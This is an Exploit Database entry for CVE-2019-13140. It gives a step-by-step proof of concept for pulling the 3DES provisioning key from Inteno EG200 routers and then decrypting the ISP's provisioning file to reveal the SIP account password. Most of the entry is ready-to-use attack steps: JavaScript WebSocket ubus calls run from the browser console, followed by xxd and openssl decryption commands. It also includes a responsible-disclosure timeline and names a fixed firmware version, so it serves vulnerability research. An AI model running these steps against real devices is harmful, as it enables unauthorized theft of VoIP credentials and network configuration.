Inteno IOPSYS Gateway – Improper Access Restrictions

Exploit Database
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作者： Gerard Fuguet

日期： 2019-09-16
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/47390/

# Exploit Title: Inteno IOPSYS Gateway 3DES Key Extraction - Improper Access Restrictions

# Date: 2019-06-29

# Exploit Author: Gerard Fuguet (gerard@fuguet.cat)

# Vendor Homepage: https://www.intenogroup.com/

# Version: EG200-WU7P1U_ADAMO3.16.4-190226_1650

# Fixed Version: EG200-WU7P1U_ADAMO3.16.8-190820_0937

# Affected Component: SIP password, Info Gathering of Network Config

# Attack Type: Remote

# Tested on: Kali Linux 2019.2 against an Inteno EG200 Router

# CVE : CVE-2019-13140

# Description:

Inteno EG200 EG200-WU7P1U_ADAMO3.16.4-190226_1650 and before

firmwares routers have a JUCI ACL misconfiguration that allows

the "user" account to extract the 3DES key via JSON commands to ubus.

The 3DES key is used to decrypt the provisioning file provided by

Adamo Telecom on a public URL via cleartext HTTP.

# Attack Vectors:

To get success on the exploitation, two components are mandatory: 1.

the encrypted file (.enc) and 2. The 3DES key for decrypt it. The

encrypted file can be downloaded via HTTP URL offered by Adamo ISP

(works from any external network). Then is need to interact with the

router using WebSocket protocol to obtain the 3DES key, a web browser

like Firefox can be used as WebSocket client under the developer

tools. Session id is acquired with the same username and password of

the router (in this case, password is the same as wifi defaults). Once

3DES key is obtained through a JSON request command, .enc file can be

decrypted with the help of openssl tool.

# PoC:

Step 1: Getting the provisioning file

Download from http://inteno-provisioning.adamo.es/XXXXXXXXXXXX.enc

Where XXXXXXXXXXXX is your router’s Inteno MAC, all in capitals and without

the colons. You can also get your MAC by doing a ping to the router

and then an arp command on terminal.

Step 2: The 3DES Key

Let's communcatie by Sockets

- Using Firefox, open the router’s webpage (192.168.1.1 by default).

- Invoke the developer tools by pressing F12 and go to the Console Tab.

- Let’s create the WebSocket:

var superSocket = new WebSocket("ws://192.168.1.1/", "ubus-json")

- And creating the Log for show responses in each petition:

superSocket.onmessage = function (event) {console.log(event.data)}

- We request an ID session with the same login parameters that when access

to the router’s website. (put your wifis router password instead of

wifis-password value):

superSocket.send(JSON.stringify({"jsonrpc":"2.0","method":"call","params":["00000000000000000000000000000000","session","login",{"username":"user","password":"wifis-password"}],"id":666}))

- Now, you will obtain a response, the value of the parameter that says

“ubus_rpc_session” refers to your session’s ID, copy it to use in the next

request call.

- Requesting information about the router’s System. (put your session ID

instead of put-your-session-id-here value):

superSocket.send(JSON.stringify({"jsonrpc":"2.0","method":"call","params":["put-your-session-id-here","router.system","info",{}],"id":999}))

- On the response obtained, copy the value of the “des” parameter.

It’s 16 digits that we need convert to hexadecimal.

Step 3: Ready for Decrypting

Convert to HEX using xxd tool where XXXXXXXXXXXXXXXX is your "des" key:

echo -n XXXXXXXXXXXXXXXX | xxd -p

- Use openssl tool to decrypt your provisioning file. (Put your "des" key

instead of your-des-key-in-hex-format value and the XXXXXXXXXXXX

refers the name of your encryption provisioning file, in the -out

value, the name can be different):

openssl enc -d -des-ede -nosalt -K your-des-key-in-hex-format -in XXXXXXXXXXXX.enc -out XXXXXXXXXXXX.tar.gz

- Uncompress the decrypted file:

tar -xzvf XXXXXXXXXXXX.tar.gz

- You get the file: Provisioning.conf.

- Showing the file:

cat Provisioning.conf

- The end of the line refers to the secret, the password of your

SIP account.

A video was created to show all these Steps in action:

https://youtu.be/uObz1uE5P4s

# Additional Information:

A packet sniffer like Wireshark can be used for retrieve the 3DES key

instead of using WebSocket communication protocol. In that case, user

needs to do the login on the router's page, and then the JSON request

containing the 3DES key will be catched.

# References:

https://twitter.com/GerardFuguet/status/1169298861782896642

https://www.slideshare.net/fuguet/call-your-key-to-phone-all

# Timeline:

2019-06-29 - White Paper done

2019-07-01 - CVE assigned

2019-07-09 - Notified to Inteno

2019-07-11 - Adamo aware and ask for detailed info

2019-07-12 - Info facilitated

2019-07-25 - Early patch available and applied (Cooperation starts)

2019-07-26 - Tested and failed (VoIP not working)

2019-08-27 - New firmware available

2019-08-30 - Firmware EG200-WU7P1U_ADAMO3.16.8-190820_0937 applied on router

2019-08-31 - Tested OK

2019-09-04 - Disclosure published